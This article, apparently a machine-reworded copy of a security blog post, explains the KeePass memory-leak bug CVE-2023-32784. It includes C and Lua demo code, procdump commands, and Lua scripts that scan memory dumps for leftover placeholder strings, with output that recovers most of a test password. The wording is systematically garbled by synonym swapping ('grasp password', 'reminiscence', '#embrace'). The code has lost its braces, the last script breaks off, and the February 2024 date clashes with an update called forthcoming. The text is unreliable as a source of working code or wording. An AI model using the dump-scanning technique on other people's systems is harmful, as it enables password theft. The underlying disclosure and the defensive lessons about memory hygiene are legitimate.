February 23, 2024

During the last two weeks, we’ve seen a collection Slot of articles speaking up what’s been described as a “grasp password crack” within the standard open-source password supervisor KeePass.

The bug was thought of vital sufficient to get an official US authorities identifier (it’s often called CVE-2023-32784, if you wish to hunt it down), and provided that the grasp password to your password supervisor is just about the important thing to your entire digital fortress, you’ll be able to perceive why the story provoked numerous pleasure.

The excellent news is that an attacker who wished to use this bug would virtually actually have to have contaminated your pc with malware already, and would subsequently be capable of spy in your keystrokes and working applications anyway.

In different phrases, the bug will be thought of an easily-managed danger till the creator of KeePass comes out with an replace, which ought to seem quickly (in the beginning of June 2023, apparently).

Because the discloser of the bug takes care to point out:

When you use full disk encryption with a robust password and your system is [free from malware], try to be high quality. Nobody can steal your passwords remotely over the web with this discovering alone.

The dangers defined

Closely summarised, the bug boils all the way down to the problem of making certain that each one traces of confidential information are purged from reminiscence when you’ve completed with them.

We’ll ignore right here the issues of how you can keep away from having secret information in reminiscence in any respect, even briefly.

On this article, we simply wish to remind programmers in every single place that code authorized by a security-conscious reviewer with a remark reminiscent of “seems to scrub up appropriately after itself”…

…may in reality not clear up totally in any respect, and the potential information leakage may not be apparent from a direct research of the code itself.

Merely put, the CVE-2023-32784 vulnerability implies that a KeePass grasp password is perhaps recoverable from system information even after the KeyPass program has exited, as a result of enough details about your password (albeit not truly the uncooked password itself, which we’ll deal with in a second) may get left behind in sytem swap or sleep recordsdata, the place allotted system reminiscence could find yourself saved for later.

On a Home windows pc the place BitLocker isn’t used to encrypt the exhausting disk when the system is turned off, this could give a criminal who stole your laptop computer a combating likelihood of booting up from a USB or CD drive, and recovering your grasp password despite the fact that the KeyPass program itself takes care by no means to reserve it completely to disk.

An extended-term password leak in reminiscence additionally implies that the password might, in idea, be recovered from a reminiscence dump of the KeyPass program, even when that dump was grabbed lengthy after you’d typed the password in, and lengthy after the KeePass itself had no extra have to hold it round.

Clearly, it is best to assume that malware already in your system might get well virtually any typed-in password by way of quite a lot of real-time snooping strategies, so long as they have been lively on the time you probably did the typing. However you may moderately count on that your time uncovered to hazard could be restricted to the transient interval of typing, not prolonged to many minutes, hours or days afterwards, or maybe longer, together with after you shut your pc down.

What will get left behind?

We subsequently thought we’d take a high-level take a look at how secret information can get left behind in reminiscence in ways in which aren’t straight apparent from the code.

Don’t fear for those who aren’t a programmer – we’ll hold it easy, and clarify as we go.

We’ll begin by reminiscence use and cleanup in a easy C program that simulates getting into and briefly storing a password by doing the next:

  • Allocating a devoted chunk of reminiscence specifically to retailer the password.
  • Inserting a identified textual content string so we will simply discover it in reminiscence if wanted.
  • Appending 16 pseudo-random 8-bit ASCII characters from the vary A-P.
  • Printing out the simulated password buffer.
  • Liberating up the reminiscence within the hope of expunging the password buffer.
  • Exiting this system.

Tremendously simplified, the C code may look one thing like this, with no error checking, utilizing poor-quality pseudo-random numbers from the C runtime perform rand(), and ignoring any buffer overflow checks (by no means do any of this in actual code!):

 // Ask for reminiscence
 char* buff = malloc(128);

 // Copy in mounted string we will recognise in RAM
 strcpy(buff,"unlikelytext");

 // Append 16 pseudo-random ASCII characters
 for (int i = 1; i <= 16; i++) 
    // Select a letter from A (65+0) to P (65+15)
    char ch = 65 + (rand() & 15);
    // Modify the buff string straight in reminiscence
    strncat(buff,&ch,1);
 
 
 // Print it out, so we're finished with buff
 printf("Full string was: %sn",buff);

 // Return the undesirable buffer and hope that expunges it
 free(buff);

In truth, the code we lastly utilized in our assessments contains some extra bits and items proven beneath, in order that we might dump the complete contents of our short-term password buffer as we used it, to search for undesirable or left-over content material.

Observe that we intentionally dump the buffer after calling free(), which is technically a use-after-free bug, however we’re doing it right here as a sneaky means of seeing whether or not something important will get left behind after handing our buffer again, which might result in a harmful information leakage gap in actual life.

We’ve additionally inserted two Ready for [Enter] prompts into the code to present ourselves an opportunity to create reminiscence dumps at key factors in this system, giving us uncooked information to look later, to be able to see what was left behind as this system ran.

To do reminiscence dumps, we’ll be utilizing the Microsoft Sysinternals tool procdump with the -ma choice (dump all reminiscence), which avoids the necessity to write our personal code to make use of the Home windows DbgHelp system and its reasonably advanced MiniDumpXxxx() functions.

To compile the C code, we used our personal small-and-simple construct of Fabrice Bellard’s free and open-source Tiny C Compiler, out there for 64-bit Home windows in source and binary form straight from our GitHub web page.

Copy-and-pastable textual content of all of the supply code pictured within the article seems on the backside of the web page.

That is what occurred after we compiled and ran the check program:

C:UsersduckKEYPASS> petcc64 -stdinc -stdlib unl1.c
Tiny C Compiler - Copyright (C) 2001-2023 Fabrice Bellard
Stripped down by Paul Ducklin to be used as a studying software
Model petcc64-0.9.27 [0006] - Generates 64-bit PEs solely
-> unl1.c
-> c:/customers/duck/tcc/petccinc/stdio.h
[. . . .]
-> c:/customers/duck/tcc/petcclib/libpetcc1_64.a
-> C:/Home windows/system32/msvcrt.dll
-> C:/Home windows/system32/kernel32.dll
-------------------------------
  virt   file   dimension  part
  1000    200    438  .textual content
  2000    800    2ac  .information
  3000    c00     24  .pdata
-------------------------------
<- unl1.exe (3584 bytes)

C:UsersduckKEYPASS> unl1.exe

Dumping 'new' buffer at begin
00F51390: 90 57 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .W......P.......
00F513A0: 73 74 65 6D 33 32 5C 63 6D 64 2E 65 78 65 00 44 stem32cmd.exe.D
00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win
00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr
00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData
00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_
00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF
00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter
00F51410: 6E 65 74 20 45 78 70 6C 7A 56 F4 3C AC 4B 00 00 internet ExplzV.<.Ok..

Full string was: unlikelytextJHKNEJJCPOMDJHAN
00F51390: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 4A 48 4B 4E unlikelytextJHKN
00F513A0: 45 4A 4A 43 50 4F 4D 44 4A 48 41 4E 00 65 00 44 EJJCPOMDJHAN.e.D
00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win
00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr
00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData
00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_
00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF
00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter
00F51410: 6E 65 74 20 45 78 70 6C 7A 56 F4 3C AC 4B 00 00 internet ExplzV.<.Ok..

Ready for [ENTER] to free buffer...

Dumping buffer after free()
00F51390: A0 67 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .g......P.......
00F513A0: 45 4A 4A 43 50 4F 4D 44 4A 48 41 4E 00 65 00 44 EJJCPOMDJHAN.e.D
00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win
00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr
00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData
00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_
00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF
00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter
00F51410: 6E 65 74 20 45 78 70 6C 4D 00 00 4D AC 4B 00 00 internet ExplM..M.Ok..

Ready for [ENTER] to exit predominant()...

C:UsersduckKEYPASS>

On this run, we didn’t trouble grabbing any course of reminiscence dumps, as a result of we might see immediately from the output that this code leaks information.

Proper after calling the Home windows C runtime library perform malloc(), we will see that the buffer we get again contains what seems to be like setting variable information left over from this system’s startup code, with the primary 16 bytes apparently altered to seem like some type of left-over reminiscence allocation header.

(Observe how these 16 bytes seem like two 8-byte reminiscence addresses, 0xF55790 and 0xF50150, which might be simply after and simply earlier than our personal reminiscence buffer respectively.)

When the password is meant to be in reminiscence, we will see all the string clearly within the buffer, as we’d count on.

However after calling free(), notice how the primary 16 bytes of our buffer have been rewritten with what seem like close by reminiscence addresses as soon as once more, presumably so the reminiscence allocator can hold observe of blocks in reminiscence that it will possibly re-use…

… however the remainder of the our “expunged” password textual content (the final 12 random characters EJJCPOMDJHAN) has been left behind.

Not solely do we have to handle our personal reminiscence allocations and de-allocations in C, we additionally want to make sure that we select the best system capabilities for information buffers if we wish to management them exactly.

For instance, by switching to this code as an alternative, we get a bit extra management over what’s in reminiscence:

By switching from malloc() and free() to make use of the lower-level Home windows allocation capabilities VirtualAlloc() and VirtualFree() straight, we get higher management.

Nonetheless, we pay a worth in pace, as a result of every name to VirtualAlloc() does extra work {that a} name to malloc(), which works by regularly dividing and subdividing a block of pre-allocated low-level reminiscence.

Utilizing VirtualAlloc() repeatedly for small blocks additionally makes use of up extra reminiscence general, as a result of every block dished out by VirtualAlloc() sometimes consumes a a number of of 4KB of reminiscence (or 2MB, in case you are utilizing so-called massive reminiscence pages), in order that our 128-byte buffer above is rounded as much as 4096 bytes, losing the 3968 bytes on the finish of the 4KB reminiscence block.

However, as you’ll be able to see, the reminiscence we get again is routinely blanked out (set to zero), so we will’t see what was there earlier than, and this time this system crashes after we attempt to do our use-after-free trick, as a result of Home windows detects that we’re attempting to peek at reminiscence we not personal:

C:UsersduckKEYPASS> unl2
Dumping 'new' buffer at begin
0000000000EA0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Full string was: unlikelytextIBIPJPPHEOPOIDLL
0000000000EA0000: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 49 42 49 50 unlikelytextIBIP
0000000000EA0010: 4A 50 50 48 45 4F 50 4F 49 44 4C 4C 00 00 00 00 JPPHEOPOIDLL....
0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Ready for [ENTER] to free buffer...

Dumping buffer after free()
0000000000EA0000:

[Program terminated here because Windows caught our use-after-free]

As a result of the reminiscence we freed up will want re-allocating with VirtualAlloc() earlier than it may be used once more, we will assume that it is going to be zeroed out earlier than it’s recycled.

Nonetheless, if we wished to ensure it was blanked out, we might name the particular Home windows perform RtlSecureZeroMemory() simply earlier than liberating it, to ensure that Home windows will write zeros into our buffer first.

The associated perform RtlZeroMemory(), for those who have been questioning, does an identical factor, however with out the assure of truly working, as a result of compilers are allowed to take away it as theoretically redundant in the event that they discover that the buffer just isn’t used once more afterwards.

As you’ll be able to see, we have to take appreciable care to make use of the best Home windows capabilities if we wish to miminise the time that secrets and techniques saved in reminiscence could lie round for later.

On this article, we aren’t going to have a look at the way you forestall secrets and techniques getting saved out unintentionally to your swap file by locking them into bodily RAM. (Trace: VirtualLock() isn’t truly sufficient by itself.) If you need to know extra about low-level Home windows reminiscence safety, tell us within the feedback and we’ll take a look at it in a future article.

Utilizing computerized reminiscence administration

One neat option to keep away from having to allocate, handle and deallocate reminiscence by ourselves is to make use of a programming language that takes care of malloc() and free(), or VirtualAlloc() and VirtualFree(), routinely.

Scripting language reminiscent of Perl, Python, Lua, JavaScript and others eliminate the commonest reminiscence saftey bugs that plague C and C++ code, by monitoring reminiscence utilization for you within the background.

As we talked about earlier, our badly-written pattern C code above works high quality now, however solely as a result of it’s nonetheless a super-simple program, with fixed-size information constructions, the place we will confirm by inspection that we received’t overwrite our 128-byte buffer, and that there’s just one execution path that begins with malloc() and ends with a corresponding free().

But when we up to date it to permit variable-length password era, or added extra options into the era course of, then we (or whoever maintains the code subsequent) might simply find yourself with buffer overflows, use-after-free bugs, or reminiscence that by no means will get freed up and subsequently leaves secret information hanging round lengthy after it’s not wanted.

In a language like Lua, we will let the Lua run-time setting, which does what’s identified within the jargon as computerized rubbish assortment, cope with buying reminiscence from the system, and returning it when it detects we’ve stopped utilizing it.

The C program we listed above turns into very a lot less complicated when reminiscence allocation and de-allocation are taken care of for us:

We allocate reminiscence to carry the string s just by assigning the string 'unlikelytext' to it.

We will later both trace to Lua explicitly that we’re not all for s by assigning it the worth nil (all nils are primarily the identical Lua object), or cease utilizing s and await Lua to detect that it’s not wanted.

Both means, the reminiscence utilized by s will ultimately be recovered routinely.

And to forestall buffer overflows or dimension mismanagement when appending to textual content strings (the Lua operator .., pronounced concat, primarily provides two strings collectively, like + in Python), each time we lengthen or shorten a string, Lua magically allocates area for a model new string, reasonably than modifying or changing the unique one in its present reminiscence location.

This method is slower, and results in reminiscence utilization peaks which might be increased than you’d get in C because of the intermediate strings allotted throughout textual content manipulation, nevertheless it’s a lot safer in respect of buffer overflows.

However this type of computerized string administration (identified within the jargon as immutability, as a result of strings by no means get mutated, or modified in place, as soon as they’ve been created), does carry new cybersecurity complications of its personal.

We ran the Lua program above on Home windows, as much as the second pause, simply earlier than this system exited:

C:UsersduckKEYPASS> lua s1.lua
Full string is: unlikelytextHLKONBOJILAGLNLN

Ready for [ENTER] earlier than liberating string...

Ready for [ENTER] earlier than exiting...

This time, we took a course of reminiscence dump, like this:

C:UsersduckKEYPASS> procdump -ma lua lua-s1.dmp

ProcDump v11.0 - Sysinternals course of dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[00:00:00] Dump 1 initiated: C:UsersduckKEYPASSlua-s1.dmp
[00:00:00] Dump 1 writing: Estimated dump file dimension is 10 MB.
[00:00:00] Dump 1 full: 10 MB written in 0.1 seconds
[00:00:01] Dump rely reached.

Then we ran this straightforward script, which reads the dump file again in, finds in every single place in reminiscence that that the identified string unlikelytext appeared, and prints it out, along with its location within the dumpfile and the ASCII characters that instantly adopted:

Even for those who’ve used script languages earlier than, or labored in any programming ecosystem that options so-called managed strings, the place the system retains observe of reminiscence allocations and deallocations for you, and handles them because it sees match…

…you is perhaps shocked to see the output that this reminiscence scan produces:

C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp
006D8AFC: unlikelytextALJBNGOAPLLBDEB
006D8B3C: unlikelytextALJBNGOA
006D8B7C: unlikelytextALJBNGO
006D8BFC: unlikelytextALJBNGOAPLLBDEBJ
006D8CBC: unlikelytextALJBN
006D8D7C: unlikelytextALJBNGOAP
006D903C: unlikelytextALJBNGOAPL
006D90BC: unlikelytextALJBNGOAPLL
006D90FC: unlikelytextALJBNG
006D913C: unlikelytextALJBNGOAPLLB
006D91BC: unlikelytextALJB
006D91FC: unlikelytextALJBNGOAPLLBD
006D923C: unlikelytextALJBNGOAPLLBDE
006DB70C: unlikelytextALJ
006DBB8C: unlikelytextAL
006DBD0C: unlikelytextA

Lo and behold, on the time we grabbed our reminiscence dump, despite the fact that we’d completed with the string s (and informed Lua that we didn’t want it any extra by saying s = nil), all of the strings that the code had created alongside the way in which have been nonetheless current in RAM, not but recovered or deleted.

Certainly, if we type the above output by the strings themselves, reasonably than following the order through which they appeared in RAM, you’ll be capable of image what occurred in the course of the loop the place we concatenated one character at a time to our password string:

C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp | type /+10
006DBD0C: unlikelytextA
006DBB8C: unlikelytextAL
006DB70C: unlikelytextALJ
006D91BC: unlikelytextALJB
006D8CBC: unlikelytextALJBN
006D90FC: unlikelytextALJBNG
006D8B7C: unlikelytextALJBNGO
006D8B3C: unlikelytextALJBNGOA
006D8D7C: unlikelytextALJBNGOAP
006D903C: unlikelytextALJBNGOAPL
006D90BC: unlikelytextALJBNGOAPLL
006D913C: unlikelytextALJBNGOAPLLB
006D91FC: unlikelytextALJBNGOAPLLBD
006D923C: unlikelytextALJBNGOAPLLBDE
006D8AFC: unlikelytextALJBNGOAPLLBDEB
006D8BFC: unlikelytextALJBNGOAPLLBDEBJ

All these short-term, intermediate strings are nonetheless there, so even when we had efficiently worn out the ultimate worth of s, we’d nonetheless be leaking the whole lot besides its final character.

In truth, on this case, even after we intentionally pressured our program to get rid of all unneeded information by calling the particular Lua perform collectgarbage() (most scripting languages have one thing related), many of the information in these pesky short-term strings caught round in RAM anyway, as a result of we’d compiled Lua to do its computerized reminiscence administration utilizing good outdated malloc() and free().

In different phrases, even after Lua itself reclaimed its short-term reminiscence blocks to make use of them once more, we couldn’t management how or when these reminiscence blocks would get re-used, and thus how lengthy they’d lie round inside the method with their left-over information ready to be sniffed out, dumped, or in any other case leaked.

Enter .NET

However what about KeePass, which is the place this text began?

KeePass is written in C#, and makes use of the .NET runtime, so it avoids the issues of reminiscence mismanagement that C applications carry with them…

…however C# manages its personal textual content strings, reasonably like Lua does, which raises the query:

Even when the programmer averted storing all the grasp password on one place after he’d completed with it, might attackers with entry to a reminiscence dump nonetheless discover sufficient left-over short-term information to guess at or get well the grasp password anyway, even when these attackers acquired entry to your pc minutes, hours, or days after you’d typed the password in ?

Merely put, are there detectable, ghostly remnants of your grasp password that survive in RAM, even after you’d count on them to have been expunged?

Annoyingly, as Github person Vdohney discovered, the reply (for KeePass verions sooner than 2.54, a minimum of) is, “Sure.”

To be clear, we don’t assume that your precise grasp password will be recovered as a single textual content string from a KeePass reminiscence dump, as a result of the writer created a particular perform for grasp password entry that goes out of its option to keep away from storing the complete password the place it might simply be noticed and sniffed out.

We happy ourselves of this by setting our grasp password to SIXTEENPASSCHARS, typing it in, after which taking reminiscence dumps instantly, shortly, and lengthy afterwards.

We searched the dumps with a easy Lua script that regarded everwhere for that password textual content, each in 8-bit ASCII format, and in 16-bit UTF-16 (Home windows widechar) format, like this:

The outcomes have been encouraging:

C:UsersduckKEYPASS> lua searchknown.lua kp2-post.dmp
Studying in dump file... DONE.
Looking for SIXTEENPASSCHARS as 8-bit ASCII... not discovered.
Looking for SIXTEENPASSCHARS as UTF-16... not discovered.

However Vdohney, the discoverer of CVE-2023-32784, observed that as you sort in your grasp password, KeePass provides you visible suggestions by establishing and displaying a placeholder string consisting of Unicode “blob” characters, as much as and together with the size of your password:

In widechar textual content strings on Home windows (which include two bytes per character, not only one byte every as in ASCII), the “blob” character is encoded in RAM because the hex byte 0xCF adopted by 0x25 (which simply occurs to be a % register ASCII).

So, even when KeePass is taking nice care with the uncooked characters you sort in while you enter the password itself, you may find yourself with left-over strings of “blob” characters, simply detectable in reminiscence as repeated runs reminiscent of CF25CF25 or CF25CF25CF25

…and, if that’s the case, the longest run of blob characters you discovered would in all probability give away the size of your password, which might be a modest type of password info leakage, if nothing else.

We used the next Lua script to search for indicators of left-over password placeholder strings:

The output was shocking (we’ve got deleted successive strains with the identical variety of blobs, or with fewer blobs than the earlier line, to avoid wasting area):

C:UsersduckKEYPASS> lua findblobs.lua kp2-post.dmp
000EFF3C: *
[. . .]
00BE621B: **
00BE64C7: ***
[. . .]
00BE6E8F: ****
[. . .]
00BE795F: *****
[. . .]
00BE84F7: ******
[. . .]
00BE8F37: *******
[ continues similarly for 8 blobs, 9 blobs, etc. ]
[ until two final lines of exactly 16 blobs each ]
00C0503B: ****************
00C05077: ****************
00C09337: *
00C09738: *
[ all remaining matches are one blob long]
0123B058: *

At close-together however ever-increasing reminiscence addresses, we discovered a scientific checklist of three blobs, then 4 blobs, and so forth as much as 16 blobs (the size of our password), adopted by many randomly scattered situations of single-blob strings.

So, these placeholder “blob” strings do certainly appear to be leaking into reminiscence and staying behind to leak the password size, lengthy after the KeePass software program has completed together with your grasp password.

The subsequent step

We determined to dig additional, similar to Vdohney did.

We modified our sample matching code to detect chains of blob characters adopted by any single ASCII character in 16-bit format (ASCII characters are represented in UTF-16 as their typical 8-bit ASCII code, adopted by a zero byte).

This time, to avoid wasting area, we’ve got suppressed the output for any match that precisely matches the earlier one:

Shock, shock:

C:UsersduckKEYPASS> lua searchkp.lua kp2-post.dmp
00BE581B: *I
00BE621B: **X
00BE6BD3: ***T
00BE769B: ****E
00BE822B: *****E
00BE8C6B: ******N
00BE974B: *******P
00BEA25B: ********A
00BEAD33: *********S
00BEB81B: **********S
00BEC383: ***********C
00BECEEB: ************H
00BEDA5B: *************A
00BEE623: **************R
00BEF1A3: ***************S
03E97CF2: *N
0AA6F0AF: *W
0D8AF7C8: *X
0F27BAF8: *S

Look what we get out of .NET’s managed string reminiscence area!

A closely-bunched set of short-term “blob strings” that reveal the successive characters in our password, beginning with the second character.

These leaky strings are adopted by widely-distributed single-character matches that we assume arose by likelihood. (A KeePass dump file is about 250MB in dimension, so there’s loads of room for “blob” characters to look as if by luck.)

Even when we take these further 4 matches under consideration, reasonably than discarding them as possible mismatches, we will guess that the grasp password is one in every of:

?IXTEENPASSCHARS
?NXTEENPASSCHARS
?WXTEENPASSCHARS
?SXTEENPASSCHARS

Clearly, this straightforward approach doesn’t discover the primary character within the password, as a result of the primary “blob string” is just constructed after that first character has been typed in

Observe that this checklist is good and brief as a result of we filtered out matches that didn’t finish in ASCII characters.

When you have been on the lookout for characters in a unique vary, reminiscent of Chinese language or Korean characters, you may find yourself with extra unintended hits, as a result of there are much more doable characters to match on…

…however we suspect you’ll get fairly near your grasp password anyway, and the “blob strings” that relate to the password appear to be grouped collectively in RAM, presumably as a result of they have been allotted at about the identical time by the identical a part of the .NET runtime.

And there, in an admittedly lengthy and discursive nutshell, is the fascinating story of CVE-2023-32784.

What to do?

  • When you’re a KeePass person, don’t panic. Though this can be a bug, and is technically an exploitable vulnerability, distant attackers who wished to crack your password utilizing this bug would want to implant malware in your pc first. That may give them many different methods to steal your passwords straight, even when this bug didn’t exist, for instance by logging your keystrokes as you sort. At this level, you’ll be able to merely be careful for the forthcoming replace, and seize it when it’s prepared.
  • When you aren’t utilizing full-disk encryption, think about enabling it. To extract left-over passwords out of your swap file or hibernation file (working system disk recordsdata used to avoid wasting reminiscence contents briefly throughout heavy load or when your pc is “sleeping”), attackers would want direct entry to your exhausting disk. In case you have BitLocker or its equal for different working techniques activated, they received’t be capable of entry your swap file, your hibernation file, or every other private information reminiscent of paperwork, spreadsheets, saved emails, and so forth.
  • When you’re a programmer, hold your self knowledgeable about reminiscence administration points. Don’t assume that simply because each free() matches its corresponding malloc() that your information is secure and well-managed. Typically, it’s possible you’ll have to take further precautions to keep away from leaving secret information mendacity round, and people precautions very from working system to working system.
  • When you’re a QA tester or a code reviewer, at all times assume “behind the scenes”. Even when reminiscence administration code seems to be tidy and well-balanced, pay attention to what’s occurring behind the scenes (as a result of the unique programmer may not have identified to take action), and prepare to do some pentesting-style work reminiscent of runtime monitoring and reminiscence dumping to confirm that safe code actually is behaving because it’s alleged to.

CODE FROM THE ARTICLE: UNL1.C

#embrace <stdio.h>
#embrace <string.h>
#embrace <stdlib.h>

void hexdump(unsigned char* buff, int len) 
   // Print buffer in 16-byte chunks
   for (int i = 0; i < len+16; i = i+16) 
      printf("%016X: ",buff+i);
      // Present 16 bytes as hex values
      for (int j = 0; j < 16; j = j+1) 
         printf("%02X ",buff[i+j]);
      
      // Repeat these 16 bytes as characters
      for (int j = 0; j < 16; j = j+1) 
         unsigned ch = buff[i+j];
         printf("%c",(ch>=32 && ch<=127)?ch:'.');
            
      printf("n");
   
   printf("n");


int predominant(void) 
   // Purchase reminiscence to retailer password, and present what 
   // is within the buffer when it is formally "new"...
   char* buff = malloc(128);
   printf("Dumping 'new' buffer at startn");
   hexdump(buff,128);
   
   // Use pseudorandom buffer deal with as random seed
   srand((unsigned)buff);

   // Begin the password with some mounted, searchable textual content
   strcpy(buff,"unlikelytext");

   // Append 16 pseudorandom letters, separately
   for (int i = 1; i <= 16; i++) 
      // Select a letter from A (65+0) to P (65+15)
      char ch = 65 + (rand() & 15);
      // Then modify the buff string in place
      strncat(buff,&ch,1);
   
 
   // The total password is now in reminiscence, so print
   // it as a string, and present the entire buffer...
   printf("Full string was: %sn",buff);
   hexdump(buff,128);

   // Pause to dump course of RAM now (attempt: 'procdump -ma')
   places("Ready for [ENTER] to free buffer...");
   getchar();

   // Formally free() the reminiscence and present the buffer
   // once more to see if something was left behind...
   free(buff);

   printf("Dumping buffer after free()n");
   hexdump(buff,128);

   // Pause to dump RAM once more to examine variations
   places("Ready for [ENTER] to exit predominant()...");
   getchar();

   return 0;


CODE FROM THE ARTICLE: UNL2.C

#embrace <stdio.h>
#embrace <string.h>
#embrace <stdlib.h>
#embrace <home windows.h>

void hexdump(unsigned char* buff, int len) 
   // Print buffer in 16-byte chunks
   for (int i = 0; i < len+16; i = i+16) 
      printf("%016X: ",buff+i);
      // Present 16 bytes as hex values
      for (int j = 0; j < 16; j = j+1) 
         printf("%02X ",buff[i+j]);
      
      // Repeat these 16 bytes as characters
      for (int j = 0; j < 16; j = j+1) 
         unsigned ch = buff[i+j];
         printf("%c",(ch>=32 && ch<=127)?ch:'.');
            
      printf("n");
   
   printf("n");


int predominant(void) 
   // Purchase reminiscence to retailer password, and present what 
   // is within the buffer when it is formally "new"...
   char* buff = VirtualAlloc(0,128,MEM_COMMIT,PAGE_READWRITE);
   printf("Dumping 'new' buffer at startn");
   hexdump(buff,128);

   // Use pseudorandom buffer deal with as random seed
   srand((unsigned)buff);

   // Begin the password with some mounted, searchable textual content
   strcpy(buff,"unlikelytext");

   // Append 16 pseudorandom letters, separately
   for (int i = 1; i <= 16; i++) 
      // Select a letter from A (65+0) to P (65+15)
      char ch = 65 + (rand() & 15);
      // Then modify the buff string in place
      strncat(buff,&ch,1);
   
 
   // The total password is now in reminiscence, so print
   // it as a string, and present the entire buffer...
   printf("Full string was: %sn",buff);
   hexdump(buff,128);

   // Pause to dump course of RAM now (attempt: 'procdump -ma')
   places("Ready for [ENTER] to free buffer...");
   getchar();

   // Formally free() the reminiscence and present the buffer
   // once more to see if something was left behind...
   VirtualFree(buff,0,MEM_RELEASE);

   printf("Dumping buffer after free()n");
   hexdump(buff,128);

   // Pause to dump RAM once more to examine variations
   places("Ready for [ENTER] to exit predominant()...");
   getchar();

   return 0;


CODE FROM THE ARTICLE: S1.LUA

-- Begin with some mounted, searchable textual content

s="unlikelytext"

-- Append 16 random chars from 'A' to 'P'

for i = 1,16 do
   s = s .. string.char(65+math.random(0,15))
finish

print('Full string is:',s,'n')

-- Pause to dump course of RAM  

print('Ready for [ENTER] earlier than liberating string...')
io.learn()

-- Wipe string and mark variable unused

s = nil

-- Dump RAM once more to search for diffs

print('Ready for [ENTER] earlier than exiting...')
io.learn()

CODE FROM THE ARTICLE: FINDIT.LUA

-- learn in dump file

native f = io.open(arg[1],'rb'):learn('*a')

-- search for marker textual content adopted by one 
-- or extra random ASCII characters 

native b,e,m = 0,0,nil
whereas true do
   -- search for subsequent match and keep in mind offset
   b,e,m = f:discover('(unlikelytext[A-Z]+)',e+1)
   -- exit when no extra matches
   if not b then break finish
   -- report place and string discovered
   print(string.format('%08X: %s',b,m))
finish

CODE FROM THE ARTICLE: SEARCHKNOWN.LUA

io.write('Studying in dump file... ')
native f = io.open(arg[1],'rb'):learn('*a')
io.write('DONE.n')

io.write('Looking for SIXTEENPASSCHARS as 8-bit ASCII... ')
native p08 = f:discover('SIXTEENPASSCHARS')
io.write(p08 and 'FOUND' or 'not discovered','.n')

io.write('Looking for SIXTEENPASSCHARS as UTF-16... ')
native p16 = f:discover('Sx00Ix00Xx00Tx00Ex00Ex00Nx00Px00'..
                   'Ax00Sx00Sx00Cx00Hx00Ax00Rx00Sx00')
io.write(p16 and 'FOUND' or 'not discovered','.n')

CODE FROM THE ARTICLE: FINDBLOBS.LUA

-- learn in dump file specified on command line

native f = io.open(arg[1],'rb'):learn('*a')

-- Search for a number of password blobs, adopted by any non-blob 
-- Observe that blob chars (●) encode into Home windows widechars
-- as litte-endian UTF-16 codes, popping out as CF 25 in hex.


native b,e,m = 0,0,nil
whereas true do
   -- We would like a number of blobs, adopted by any non-blob.
   -- We simplify the code by on the lookout for an specific CF25
   -- adopted by any string that solely has CF or 25 in it, 
   -- so we'll discover CF25CFCF or CF2525CF in addition to CF25CF25.
   -- We'll filter out "false positives" later if there are any.

   -- We have to write '%%' as an alternative of x25 as a result of the x25
   -- character (% signal) is a particular search char in Lua!

   b,e,m = f:discover('(xCF%%[xCF%%]*)',e+1)

